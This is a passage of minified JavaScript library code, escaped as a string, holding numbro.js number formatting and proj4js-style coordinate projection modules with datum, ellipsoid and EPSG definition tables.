n,r,o,s,a,l,h,u,c,_;return-1<e.indexOf(\\\"$\\\")?n=function(t,e,i){var n,r,o=e,s=o.indexOf(\\\"$\\\"),a=o.indexOf(\\\"(\\\"),l=o.indexOf(\\\"+\\\"),h=o.indexOf(\\\"-\\\"),u=\\\"\\\",c=\\\"\\\";if(-1===o.indexOf(\\\"$\\\")?\\\"infix\\\"===U[q].currency.position?(c=U[q].currency.symbol,U[q].currency.spaceSeparated&&(c=\\\" \\\"+c+\\\" \\\")):U[q].currency.spaceSeparated&&(u=\\\" \\\"):-1<o.indexOf(\\\" $\\\")?(u=\\\" \\\",o=o.replace(\\\" $\\\",\\\"\\\")):-1<o.indexOf(\\\"$ \\\")?(u=\\\" \\\",o=o.replace(\\\"$ \\\",\\\"\\\")):o=o.replace(\\\"$\\\",\\\"\\\"),r=d(t,o,i,c),-1===e.indexOf(\\\"$\\\"))switch(U[q].currency.position){case\\\"postfix\\\":-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;break;case\\\"infix\\\":break;case\\\"prefix\\\":-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=Math.max(a,h)+1,r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r;break;default:throw Error('Currency position should be among [\\\"prefix\\\", \\\"infix\\\", \\\"postfix\\\"]')}else s<=1?-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"+\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=1,(s<a||s<l||s<h)&&(n=0),r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r:-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;return r}(t,e,i):-1<e.indexOf(\\\"%\\\")?(l=t,u=i,_=\\\"\\\",l*=100,-1<(h=e).indexOf(\\\" %\\\")?(_=\\\" \\\",h=h.replace(\\\" %\\\",\\\"\\\")):h=h.replace(\\\"%\\\",\\\"\\\"),-1<(c=d(l,h,u)).indexOf(\\\")\\\")?((c=c.split(\\\"\\\")).splice(-1,0,_+\\\"%\\\"),c=c.join(\\\"\\\")):c=c+_+\\\"%\\\",n=c):-1<e.indexOf(\\\":\\\")?(r=t,o=Math.floor(r/60/60),s=Math.floor((r-60*o*60)/60),a=Math.round(r-60*o*60-60*s),n=o+\\\":\\\"+(s<10?\\\"0\\\"+s:s)+\\\":\\\"+(a<10?\\\"0\\\"+a:a)):n=d(t,e,i),n}function d(t,e,i,n){var r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b,x,w,k=!1,S=!1,C=!1,T=\\\"\\\",A=!1,E=!1,M=!1,O=!1,z=!1,P=\\\"\\\",j=\\\"\\\",N=Math.abs(t),F=[\\\"B\\\",\\\"KiB\\\",\\\"MiB\\\",\\\"GiB\\\",\\\"TiB\\\",\\\"PiB\\\",\\\"EiB\\\",\\\"ZiB\\\",\\\"YiB\\\"],D=[\\\"B\\\",\\\"KB\\\",\\\"MB\\\",\\\"GB\\\",\\\"TB\\\",\\\"PB\\\",\\\"EB\\\",\\\"ZB\\\",\\\"YB\\\"],I=\\\"\\\",R=!1,B=!1;if(0===t&&null!==Y)return Y;if(!isFinite(t))return\\\"\\\"+t;if(0===e.indexOf(\\\"{\\\")){var L=e.indexOf(\\\"}\\\");if(-1===L)throw Error('Format should also contain a \\\"}\\\"');f=e.slice(1,L),e=e.slice(L+1)}else f=\\\"\\\";if(e.indexOf(\\\"}\\\")===e.length-1){var V=e.indexOf(\\\"{\\\");if(-1===V)throw Error('Format should also contain a \\\"{\\\"');v=e.slice(V+1,-1),e=e.slice(0,V+1)}else v=\\\"\\\";if(w=-1===e.indexOf(\\\".\\\")?e.match(/([0-9]+).*/):e.match(/([0-9]+)\\\\..*/),x=null===w?-1:w[1].length,-1!==e.indexOf(\\\"-\\\")&&(R=!0),-1<e.indexOf(\\\"(\\\")?(k=!0,e=e.slice(1,-1)):-1<e.indexOf(\\\"+\\\")&&(S=!0,e=e.replace(/\\\\+/g,\\\"\\\")),-1<e.indexOf(\\\"a\\\")){if(p=e.split(\\\".\\\")[0].match(/[0-9]+/g)||[\\\"0\\\"],p=parseInt(p[0],10),A=0<=e.indexOf(\\\"aK\\\"),E=0<=e.indexOf(\\\"aM\\\"),M=0<=e.indexOf(\\\"aB\\\"),O=0<=e.indexOf(\\\"aT\\\"),z=A||E||M||O,-1<e.indexOf(\\\" a\\\")?(T=\\\" \\\",e=e.replace(\\\" a\\\",\\\"\\\")):e=e.replace(\\\"a\\\",\\\"\\\"),l=Math.floor(Math.log(N)/Math.LN10)+1,u=0==(u=l%3)?3:u,p&&0!==N&&(h=Math.floor(Math.log(N)/Math.LN10)+1-p,c=3*~~((Math.min(p,l)-u)/3),N/=Math.pow(10,c),-1===e.indexOf(\\\".\\\")&&3<p))for(e+=\\\"[.]\\\",y=(y=0===h?0:3*~~(h/3)-h)<0?y+3:y,r=0;r<y;r++)e+=\\\"0\\\";Math.floor(Math.log(Math.abs(t))/Math.LN10)+1!==p&&(N>=Math.pow(10,12)&&!z||O?(T+=U[q].abbreviations.trillion,t/=Math.pow(10,12)):N<Math.pow(10,12)&&N>=Math.pow(10,9)&&!z||M?(T+=U[q].abbreviations.billion,t/=Math.pow(10,9)):N<Math.pow(10,9)&&N>=Math.pow(10,6)&&!z||E?(T+=U[q].abbreviations.million,t/=Math.pow(10,6)):(N<Math.pow(10,6)&&N>=Math.pow(10,3)&&!z||A)&&(T+=U[q].abbreviations.thousand,t/=Math.pow(10,3)))}if(-1<e.indexOf(\\\"b\\\"))for(-1<e.indexOf(\\\" b\\\")?(P=\\\" \\\",e=e.replace(\\\" b\\\",\\\"\\\")):e=e.replace(\\\"b\\\",\\\"\\\"),a=0;a<=F.length;a++)if(o=Math.pow(1024,a),s=Math.pow(1024,a+1),o<=t&&t<s){P+=F[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"d\\\"))for(-1<e.indexOf(\\\" d\\\")?(P=\\\" \\\",e=e.replace(\\\" d\\\",\\\"\\\")):e=e.replace(\\\"d\\\",\\\"\\\"),a=0;a<=D.length;a++)if(o=Math.pow(1e3,a),s=Math.pow(1e3,a+1),o<=t&&t<s){P+=D[a],0<o&&(t/=o);break}if(-1<e.indexOf(\\\"o\\\")&&(-1<e.indexOf(\\\" o\\\")?(j=\\\" \\\",e=e.replace(\\\" o\\\",\\\"\\\")):e=e.replace(\\\"o\\\",\\\"\\\"),U[q].ordinal&&(j+=U[q].ordinal(t))),-1<e.indexOf(\\\"[.]\\\")&&(C=!0,e=e.replace(\\\"[.]\\\",\\\".\\\")),_=t.toString().split(\\\".\\\")[0],d=e.split(\\\".\\\")[1],m=e.indexOf(\\\",\\\"),d){if(-1!==d.indexOf(\\\"*\\\")?I=X(t,t.toString().split(\\\".\\\")[1].length,i):-1<d.indexOf(\\\"[\\\")?(d=(d=d.replace(\\\"]\\\",\\\"\\\")).split(\\\"[\\\"),I=X(t,d[0].length+d[1].length,i,d[1].length)):I=X(t,d.length,i),_=I.split(\\\".\\\")[0],I.split(\\\".\\\")[1].length){var G=n?T+n:U[q].delimiters.decimal;I=G+I.split(\\\".\\\")[1]}else I=\\\"\\\";C&&0===Number(I.slice(1))&&(I=\\\"\\\")}else _=X(t,null,i);return-1<_.indexOf(\\\"-\\\")&&(_=_.slice(1),B=!0),_.length<x&&(_=new Array(x-_.length+1).join(\\\"0\\\")+_),-1<m&&(_=_.toString().replace(/(\\\\d)(?=(\\\\d{3})+(?!\\\\d))/g,\\\"$1\\\"+U[q].delimiters.thousands)),0===e.indexOf(\\\".\\\")&&(_=\\\"\\\"),g=e.indexOf(\\\"(\\\"),b=e.indexOf(\\\"-\\\"),f+(g<b?(k&&B?\\\"(\\\":\\\"\\\")+(R&&B||!k&&B?\\\"-\\\":\\\"\\\"):(R&&B||!k&&B?\\\"-\\\":\\\"\\\")+(k&&B?\\\"(\\\":\\\"\\\"))+(!B&&S&&0!==t?\\\"+\\\":\\\"\\\")+_+I+(j||\\\"\\\")+(T&&!n?T:\\\"\\\")+(P||\\\"\\\")+(k&&B?\\\")\\\":\\\"\\\")+v}function a(t,e){U[t]=e}function l(t){var e=U[q=t].defaults;e&&e.format&&u.defaultFormat(e.format),e&&e.currencyFormat&&u.defaultCurrencyFormat(e.currencyFormat)}void 0!==e&&e.exports,(u=function(t){return u.isNumbro(t)?t=t.value():0===t||void 0===t?t=0:Number(t)||(t=u.fn.unformat(t)),new n(Number(t))}).version=\\\"1.6.2\\\",u.isNumbro=function(t){return t instanceof n},u.setLanguage=function(t,e){console.warn(\\\"`setLanguage` is deprecated since version 1.6.0. Use `setCulture` instead\\\");var i=t,n=t.split(\\\"-\\\")[0],r=null;o[i]||(Object.keys(o).forEach(function(t){r||t.split(\\\"-\\\")[0]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.setCulture=function(t,e){var i=t,n=t.split(\\\"-\\\")[1],r=null;U[i]||(n&&Object.keys(U).forEach(function(t){r||t.split(\\\"-\\\")[1]!==n||(r=t)}),i=r||e||\\\"en-US\\\"),l(i)},u.language=function(t,e){if(console.warn(\\\"`language` is deprecated since version 1.6.0. Use `culture` instead\\\"),!t)return q;if(t&&!e){if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);l(t)}return!e&&o[t]||a(t,e),u},u.culture=function(t,e){if(!t)return q;if(t&&!e){if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);l(t)}return!e&&U[t]||a(t,e),u},u.languageData=function(t){if(console.warn(\\\"`languageData` is deprecated since version 1.6.0. Use `cultureData` instead\\\"),!t)return o[q];if(!o[t])throw new Error(\\\"Unknown language : \\\"+t);return o[t]},u.cultureData=function(t){if(!t)return U[q];if(!U[t])throw new Error(\\\"Unknown culture : \\\"+t);return U[t]},u.culture(\\\"en-US\\\",{delimiters:{thousands:\\\",\\\",decimal:\\\".\\\"},abbreviations:{thousand:\\\"k\\\",million:\\\"m\\\",billion:\\\"b\\\",trillion:\\\"t\\\"},ordinal:function(t){var e=t%10;return 1==~~(t%100/10)?\\\"th\\\":1===e?\\\"st\\\":2===e?\\\"nd\\\":3===e?\\\"rd\\\":\\\"th\\\"},currency:{symbol:\\\"$\\\",position:\\\"prefix\\\"},defaults:{currencyFormat:\\\",0000 a\\\"},formats:{fourDigits:\\\"0000 a\\\",fullWithTwoDecimals:\\\"$ ,0.00\\\",fullWithTwoDecimalsNoCurrency:\\\",0.00\\\"}}),u.languages=function(){return console.warn(\\\"`languages` is deprecated since version 1.6.0. Use `cultures` instead\\\"),o},u.cultures=function(){return U},u.zeroFormat=function(t){Y=\\\"string\\\"==typeof t?t:null},u.defaultFormat=function(t){r=\\\"string\\\"==typeof t?t:\\\"0.0\\\"},u.defaultCurrencyFormat=function(t){},u.validate=function(t,e){var i,n,r,o,s,a,l,h;if(\\\"string\\\"!=typeof t&&(t+=\\\"\\\",console.warn&&console.warn(\\\"Numbro.js: Value is not string. It has been co-erced to: \\\",t)),(t=t.trim()).match(/^\\\\d+$/))return!0;if(\\\"\\\"===t)return!1;try{l=u.cultureData(e)}catch(t){l=u.cultureData(u.culture())}return r=l.currency.symbol,s=l.abbreviations,i=l.delimiters.decimal,n=\\\".\\\"===l.delimiters.thousands?\\\"\\\\\\\\.\\\":l.delimiters.thousands,!(null!==(h=t.match(/^[^\\\\d]+/))&&(t=t.substr(1),h[0]!==r)||null!==(h=t.match(/[^\\\\d]+$/))&&(t=t.slice(0,-1),h[0]!==s.thousand&&h[0]!==s.million&&h[0]!==s.billion&&h[0]!==s.trillion)||(a=new RegExp(n+\\\"{2}\\\"),t.match(/[^\\\\d.,]/g)||2<(o=t.split(i)).length||(o.length<2?!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a):1===o[0].length?!o[0].match(/^\\\\d+$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/):!o[0].match(/^\\\\d+.*\\\\d$/)||o[0].match(a)||!o[1].match(/^\\\\d+$/))))},e.exports={format:function(t,e,i,n){return null!=i&&i!==u.culture()&&u.setCulture(i),s(Number(t),null!=e?e:r,null==n?Math.round:n)}}},function(t,e,i){var l=t(382),h=t(380),n=t(384),u=t(379),c=t(370),_=t(375);function p(t,e){if(!(this instanceof p))return new p(t);e=e||function(t){if(t)throw t};var i=l(t);if(\\\"object\\\"==typeof i){var n=p.projections.get(i.projName);if(n){if(i.datumCode&&\\\"none\\\"!==i.datumCode){var r=c[i.datumCode];r&&(i.datum_params=r.towgs84?r.towgs84.split(\\\",\\\"):null,i.ellps=r.ellipse,i.datumName=r.datumName?r.datumName:i.datumCode)}i.k0=i.k0||1,i.axis=i.axis||\\\"enu\\\";var o=u.sphere(i.a,i.b,i.rf,i.ellps,i.sphere),s=u.eccentricity(o.a,o.b,o.rf,i.R_A),a=i.datum||_(i.datumCode,i.datum_params,o.a,o.b,s.es,s.ep2);h(this,i),h(this,n),this.a=o.a,this.b=o.b,this.rf=o.rf,this.sphere=o.sphere,this.es=s.es,this.e=s.e,this.ep2=s.ep2,this.datum=a,this.init(),e(null,this)}else e(t)}else e(t)}(p.projections=n).start(),e.exports=p},function(t,e,i){e.exports=function(t,e,i){var n,r,o,s=i.x,a=i.y,l=i.z||0,h={};for(o=0;o<3;o++)if(!e||2!==o||void 0!==i.z)switch(0===o?(n=s,r=\\\"x\\\"):1===o?(n=a,r=\\\"y\\\"):(n=l,r=\\\"z\\\"),t.axis[o]){case\\\"e\\\":h[r]=n;break;case\\\"w\\\":h[r]=-n;break;case\\\"n\\\":h[r]=n;break;case\\\"s\\\":h[r]=-n;break;case\\\"u\\\":void 0!==i[r]&&(h.z=n);break;case\\\"d\\\":void 0!==i[r]&&(h.z=-n);break;default:return null}return h}},function(t,e,i){var n=2*Math.PI,r=t(367);e.exports=function(t){return Math.abs(t)<=3.14159265359?t:t-r(t)*n}},function(t,e,i){e.exports=function(t,e,i){var n=t*e;return i/Math.sqrt(1-n*n)}},function(t,e,i){var a=Math.PI/2;e.exports=function(t,e){for(var i,n,r=.5*t,o=a-2*Math.atan(e),s=0;s<=15;s++)if(i=t*Math.sin(o),n=a-2*Math.atan(e*Math.pow((1-i)/(1+i),r))-o,o+=n,Math.abs(n)<=1e-10)return o;return-9999}},function(t,e,i){e.exports=function(t){return t<0?-1:1}},function(t,e,i){e.exports=function(t){var e={x:t[0],y:t[1]};return 2<t.length&&(e.z=t[2]),3<t.length&&(e.m=t[3]),e}},function(t,e,i){var o=Math.PI/2;e.exports=function(t,e,i){var n=t*i,r=.5*t;return n=Math.pow((1-n)/(1+n),r),Math.tan(.5*(o-e))/n}},function(t,e,i){i.wgs84={towgs84:\\\"0,0,0\\\",ellipse:\\\"WGS84\\\",datumName:\\\"WGS84\\\"},i.ch1903={towgs84:\\\"674.374,15.056,405.346\\\",ellipse:\\\"bessel\\\",datumName:\\\"swiss\\\"},i.ggrs87={towgs84:\\\"-199.87,74.79,246.62\\\",ellipse:\\\"GRS80\\\",datumName:\\\"Greek_Geodetic_Reference_System_1987\\\"},i.nad83={towgs84:\\\"0,0,0\\\",ellipse:\\\"GRS80\\\",datumName:\\\"North_American_Datum_1983\\\"},i.nad27={nadgrids:\\\"@conus,@alaska,@ntv2_0.gsb,@ntv1_can.dat\\\",ellipse:\\\"clrk66\\\",datumName:\\\"North_American_Datum_1927\\\"},i.potsdam={towgs84:\\\"606.0,23.0,413.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Potsdam Rauenberg 1950 DHDN\\\"},i.carthage={towgs84:\\\"-263.0,6.0,431.0\\\",ellipse:\\\"clark80\\\",datumName:\\\"Carthage 1934 Tunisia\\\"},i.hermannskogel={towgs84:\\\"653.0,-212.0,449.0\\\",ellipse:\\\"bessel\\\",datumName:\\\"Hermannskogel\\\"},i.ire65={towgs84:\\\"482.530,-130.596,564.557,-1.042,-0.214,-0.631,8.15\\\",ellipse:\\\"mod_airy\\\",datumName:\\\"Ireland 1965\\\"},i.rassadiran={towgs84:\\\"-133.63,-157.5,-158.62\\\",ellipse:\\\"intl\\\",datumName:\\\"Rassadiran\\\"},i.nzgd49={towgs84:\\\"59.47,-5.04,187.44,0.47,-0.1,1.024,-4.5993\\\",ellipse:\\\"intl\\\",datumName:\\\"New Zealand Geodetic Datum 1949\\\"},i.osgb36={towgs84:\\\"446.448,-125.157,542.060,0.1502,0.2470,0.8421,-20.4894\\\",ellipse:\\\"airy\\\",datumName:\\\"Airy 1830\\\"},i.s_jtsk={towgs84:\\\"589,76,480\\\",ellipse:\\\"bessel\\\",datumName:\\\"S-JTSK (Ferro)\\\"},i.beduaram={towgs84:\\\"-106,-87,188\\\",ellipse:\\\"clrk80\\\",datumName:\\\"Beduaram\\\"},i.gunung_segara={towgs84:\\\"-403,684,41\\\",ellipse:\\\"bessel\\\",datumName:\\\"Gunung Segara Jakarta\\\"},i.rnb72={towgs84:\\\"106.869,-52.2978,103.724,-0.33657,0.456955,-1.84218,1\\\",ellipse:\\\"intl\\\",datumName:\\\"Reseau National Belge 1972\\\"}},function(t,e,i){i.MERIT={a:6378137,rf:298.257,ellipseName:\\\"MERIT 1983\\\"},i.SGS85={a:6378136,rf:298.257,ellipseName:\\\"Soviet Geodetic System 85\\\"},i.GRS80={a:6378137,rf:298.257222101,ellipseName:\\\"GRS 1980(IUGG, 1980)\\\"},i.IAU76={a:6378140,rf:298.257,ellipseName:\\\"IAU 1976\\\"},i.airy={a:6377563.396,b:6356256.91,ellipseName:\\\"Airy 1830\\\"},i.APL4={a:6378137,rf:298.25,ellipseName:\\\"Appl. Physics. 1965\\\"},i.NWL9D={a:6378145,rf:298.25,ellipseName:\\\"Naval Weapons Lab., 1965\\\"},i.mod_airy={a:6377340.189,b:6356034.446,ellipseName:\\\"Modified Airy\\\"},i.andrae={a:6377104.43,rf:300,ellipseName:\\\"Andrae 1876 (Den., Iclnd.)\\\"},i.aust_SA={a:6378160,rf:298.25,ellipseName:\\\"Australian Natl & S. Amer. 1969\\\"},i.GRS67={a:6378160,rf:298.247167427,ellipseName:\\\"GRS 67(IUGG 1967)\\\"},i.bessel={a:6377397.155,rf:299.1528128,ellipseName:\\\"Bessel 1841\\\"},i.bess_nam={a:6377483.865,rf:299.1528128,ellipseName:\\\"Bessel 1841 (Namibia)\\\"},i.clrk66={a:6378206.4,b:6356583.8,ellipseName:\\\"Clarke 1866\\\"},i.clrk80={a:6378249.145,rf:293.4663,ellipseName:\\\"Clarke 1880 mod.\\\"},i.clrk58={a:6378293.645208759,rf:294.2606763692654,ellipseName:\\\"Clarke 1858\\\"},i.CPM={a:6375738.7,rf:334.29,ellipseName:\\\"Comm. des Poids et Mesures 1799\\\"},i.delmbr={a:6376428,rf:311.5,ellipseName:\\\"Delambre 1810 (Belgium)\\\"},i.engelis={a:6378136.05,rf:298.2566,ellipseName:\\\"Engelis 1985\\\"},i.evrst30={a:6377276.345,rf:300.8017,ellipseName:\\\"Everest 1830\\\"},i.evrst48={a:6377304.063,rf:300.8017,ellipseName:\\\"Everest 1948\\\"},i.evrst56={a:6377301.243,rf:300.8017,ellipseName:\\\"Everest 1956\\\"},i.evrst69={a:6377295.664,rf:300.8017,ellipseName:\\\"Everest 1969\\\"},i.evrstSS={a:6377298.556,rf:300.8017,ellipseName:\\\"Everest (Sabah & Sarawak)\\\"},i.fschr60={a:6378166,rf:298.3,ellipseName:\\\"Fischer (Mercury Datum) 1960\\\"},i.fschr60m={a:6378155,rf:298.3,ellipseName:\\\"Fischer 1960\\\"},i.fschr68={a:6378150,rf:298.3,ellipseName:\\\"Fischer 1968\\\"},i.helmert={a:6378200,rf:298.3,ellipseName:\\\"Helmert 1906\\\"},i.hough={a:6378270,rf:297,ellipseName:\\\"Hough\\\"},i.intl={a:6378388,rf:297,ellipseName:\\\"International 1909 (Hayford)\\\"},i.kaula={a:6378163,rf:298.24,ellipseName:\\\"Kaula 1961\\\"},i.lerch={a:6378139,rf:298.257,ellipseName:\\\"Lerch 1979\\\"},i.mprts={a:6397300,rf:191,ellipseName:\\\"Maupertius 1738\\\"},i.new_intl={a:6378157.5,b:6356772.2,ellipseName:\\\"New International 1967\\\"},i.plessis={a:6376523,rf:6355863,ellipseName:\\\"Plessis 1817 (France)\\\"},i.krass={a:6378245,rf:298.3,ellipseName:\\\"Krassovsky, 1942\\\"},i.SEasia={a:6378155,b:6356773.3205,ellipseName:\\\"Southeast Asia\\\"},i.walbeck={a:6376896,b:6355834.8467,ellipseName:\\\"Walbeck\\\"},i.WGS60={a:6378165,rf:298.3,ellipseName:\\\"WGS 60\\\"},i.WGS66={a:6378145,rf:298.25,ellipseName:\\\"WGS 66\\\"},i.WGS7={a:6378135,rf:298.26,ellipseName:\\\"WGS 72\\\"},i.WGS84={a:6378137,rf:298.257223563,ellipseName:\\\"WGS 84\\\"},i.sphere={a:6370997,b:6370997,ellipseName:\\\"Normal Sphere (r=6370997)\\\"}},function(t,e,i){i.greenwich=0,i.lisbon=-9.131906111111,i.paris=2.337229166667,i.bogota=-74.080916666667,i.madrid=-3.687938888889,i.rome=12.452333333333,i.bern=7.439583333333,i.jakarta=106.807719444444,i.ferro=-17.666666666667,i.brussels=4.367975,i.stockholm=18.058277777778,i.athens=23.7163375,i.oslo=10.722916666667},function(t,e,i){i.ft={to_meter:.3048},i[\\\"us-ft\\\"]={to_meter:1200/3937}},function(t,e,i){var n=t(362),r=t(387),o=n(\\\"WGS84\\\");function s(t,e,i){var n;return Array.isArray(i)?(n=r(t,e,i),3===i.length?[n.x,n.y,n.z]:[n.x,n.y]):r(t,e,i)}function a(t){return t instanceof n?t:t.oProj?t.oProj:n(t)}e.exports=function(e,i,t){e=a(e);var n,r=!1;return void 0===i?(i=e,e=o,r=!0):(void 0!==i.x||Array.isArray(i))&&(t=i,i=e,e=o,r=!0),i=a(i),t?s(e,i,t):(n={forward:function(t){return s(e,i,t)},inverse:function(t){return s(i,e,t)}},r&&(n.oProj=i),n)}},function(t,e,i){var a=484813681109536e-20;e.exports=function(t,e,i,n,r,o){var s={datum_type:4};return t&&\\\"none\\\"===t&&(s.datum_type=5),e&&(s.datum_params=e.map(parseFloat),0===s.datum_params[0]&&0===s.datum_params[1]&&0===s.datum_params[2]||(s.datum_type=1),3<s.datum_params.length&&(0===s.datum_params[3]&&0===s.datum_params[4]&&0===s.datum_params[5]&&0===s.datum_params[6]||(s.datum_type=2,s.datum_params[3]*=a,s.datum_params[4]*=a,s.datum_params[5]*=a,s.datum_params[6]=s.datum_params[6]/1e6+1))),s.a=i,s.b=n,s.es=r,s.ep2=o,s}},function(t,e,i){var k=Math.PI/2;i.compareDatums=function(t,e){return t.datum_type===e.datum_type&&!(t.a!==e.a||5e-11<Math.abs(this.es-e.es))&&(1===t.datum_type?this.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]:2!==t.datum_type||t.datum_params[0]===e.datum_params[0]&&t.datum_params[1]===e.datum_params[1]&&t.datum_params[2]===e.datum_params[2]&&t.datum_params[3]===e.datum_params[3]&&t.datum_params[4]===e.datum_params[4]&&t.datum_params[5]===e.datum_params[5]&&t.datum_params[6]===e.datum_params[6])},i.geodeticToGeocentric=function(t,e,i){var n,r,o,s,a=t.x,l=t.y,h=t.z?t.z:0;if(l<-k&&-1.001*k<l)l=-k;else if(k<l&&l<1.001*k)l=k;else if(l<-k||k<l)return null;return a>Math.PI&&(a-=2*Math.PI),r=Math.sin(l),s=Math.cos(l),o=r*r,{x:((n=i/Math.sqrt(1-e*o))+h)*s*Math.cos(a),y:(n+h)*s*Math.sin(a),z:(n*(1-e)+h)*r}},i.geocentricToGeodetic=function(t,e,i,n){var r,o,s,a,l,h,u,c,_,p,d,f,v,m,g,y,b=t.x,x=t.y,w=t.z?t.z:0;if(r=Math.sqrt(b*b+x*x),o=Math.sqrt(b*b+x*x+w*w),r/i<1e-12){if(m=0,o/i<1e-12)return g=k,y=-n,{x:t.x,y:t.y,z:t.z}}else m=Math.atan2(x,b);for(s=w/o,a=r/o,l=1/Math.sqrt(1-e*(2-e)*a*a),c=a*(1-e)*l,_=s*l,v=0;v++,u=i/Math.sqrt(1-e*_*_),h=e*u/(u+(y=r*c+w*_-u*(1-e*_*_))),l=1/Math.sqrt(1-h*(2-h)*a*a),f=(d=s*l)*c-(p=a*(1-h)*l)*_,c=p,_=d,1e-24<f*f&&v<30;);return g=Math.atan(d/Math.abs(p)),{x:m,y:g,z:y}},i.geocentricToWgs84=function(t,e,i){if(1===e)return{x:t.x+i[0],y:t.y+i[1],z:t.z+i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6];return{x:h*(t.x-l*t.y+a*t.z)+n,y:h*(l*t.x+t.y-s*t.z)+r,z:h*(-a*t.x+s*t.y+t.z)+o}}},i.geocentricFromWgs84=function(t,e,i){if(1===e)return{x:t.x-i[0],y:t.y-i[1],z:t.z-i[2]};if(2===e){var n=i[0],r=i[1],o=i[2],s=i[3],a=i[4],l=i[5],h=i[6],u=(t.x-n)/h,c=(t.y-r)/h,_=(t.z-o)/h;return{x:u+l*c-a*_,y:-l*u+c+s*_,z:a*u-s*c+_}}}},function(t,e,i){var n=t(376);function r(t){return 1===t||2===t}e.exports=function(t,e,i){return n.compareDatums(t,e)?i:5===t.datum_type||5===e.datum_type?i:t.es!==e.es||t.a!==e.a||r(t.datum_type)||r(e.datum_type)?(i=n.geodeticToGeocentric(i,t.es,t.a),r(t.datum_type)&&(i=n.geocentricToWgs84(i,t.datum_type,t.datum_params)),r(e.datum_type)&&(i=n.geocentricFromWgs84(i,e.datum_type,e.datum_params)),n.geocentricToGeodetic(i,e.es,e.a,e.b)):i}},function(t,e,i){var n=t(381),r=t(383),o=t(388);function s(t){var e=this;if(2===arguments.length){var i=arguments[1];s[t]=\\\"string\\\"==typeof i?\\\"+\\\"===i.charAt(0)?r(arguments[1]):o(arguments[1]):i}else if(1===arguments.length){if(Array.isArray(t))return t.map(function(t){Array.isArray(t)?s.apply(e,t):s(t)});if(\\\"string\\\"==typeof t){if(t in s)return s[t]}else\\\"EPSG\\\"in t?s[\\\"EPSG:\\\"+t.EPSG]=t:\\\"ESRI\\\"in t?s[\\\"ESRI:\\\"+t.ESRI]=t:\\\"IAU2000\\\"in t?s[\\\"IAU2000:\\\"+t.IAU2000]=t:console.log(t);return}}n(s),e.exports=s},function(t,e,i){var s=t(371);i.eccentricity=function(t,e,i,n){var r=t*t,o=e*e,s=(r-o)/r,a=0;n?(r=(t*=1-s*(.16666666666666666+s*(.04722222222222222+.022156084656084655*s)))*t,s=0):a=Math.sqrt(s);var l=(r-o)/o;return{es:s,e:a,ep2:l}},i.sphere=function(t,e,i,n,r){if(!t){var o=s[n];o||(o=s.WGS84),t=o.a,e=o.b,i=o.rf}return i&&!e&&(e=(1-1/i)*t),(0===i||Math.abs(t-e)<1e-10)&&(r=!0,e=t),{a:t,b:e,rf:i,sphere:r}}},function(t,e,i){e.exports=function(t,e){var i,n;if(t=t||{},!e)return t;for(n in e)void 0!==(i=e[n])&&(t[n]=i);return t}},function(t,e,i){e.exports=function(t){t(\\\"EPSG:4326\\\",\\\"+title=WGS 84 (long/lat) +proj=longlat +ellps=WGS84 +datum=WGS84 +units=degrees\\\"),t(\\\"EPSG:4269\\\",\\\"+title=NAD83 (long/lat) +proj=longlat +a=6378137.0 +b=6356752.31414036 +ellps=GRS80 +datum=NAD83 +units=degrees\\\"),t(\\\"EPSG:3857\\\",\\\"+title=WGS 84 / Pseudo-Mercator +proj=merc +a=6378137 +b=6378137 +lat_ts=0.0 +lon_0=0.0 +x_0=0.0 +y_0=0 +k=1.0 +units=m +nadgrids=@null +no_defs\\\"),t.WGS84=t[\\\"EPSG:4326\\\"],t[\\\"EPSG:3785\\\"]=t[\\\"EPSG:3857\\\"],t.GOOGLE=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:900913\\\"]=t[\\\"EPSG:3857\\\"],t[\\\"EPSG:102113\\\"]=t[\\\"EPSG:3857\\\"]}},function(t,e,i){var n=t(378),r=t(388),o=t(383),s=[\\\"GEOGCS\\\",\\\"GEOCCS\\\",\\\"PROJCS\\\",\\\"LOCAL_CS\\\"];e.exports=function(t){return\\\"string\\\"!=typeof t?t:t in n?n[t]:(e=t,s.some(function(t){return-1<e.indexOf(t)})?r(t):\\\"+\\\"===t[0]?o(t):void 0);var e}},function(t,e,i){var a=.017453292519943295,l=t(372),h=t(373);e.exports=function(t){var e,i,n,r={},o=t.split(\\\"+\\\").map(function(t){return t.trim()}).filter(function(t){return t}).reduce(function(t,e){var i=e.split(\\\"=\\\");return 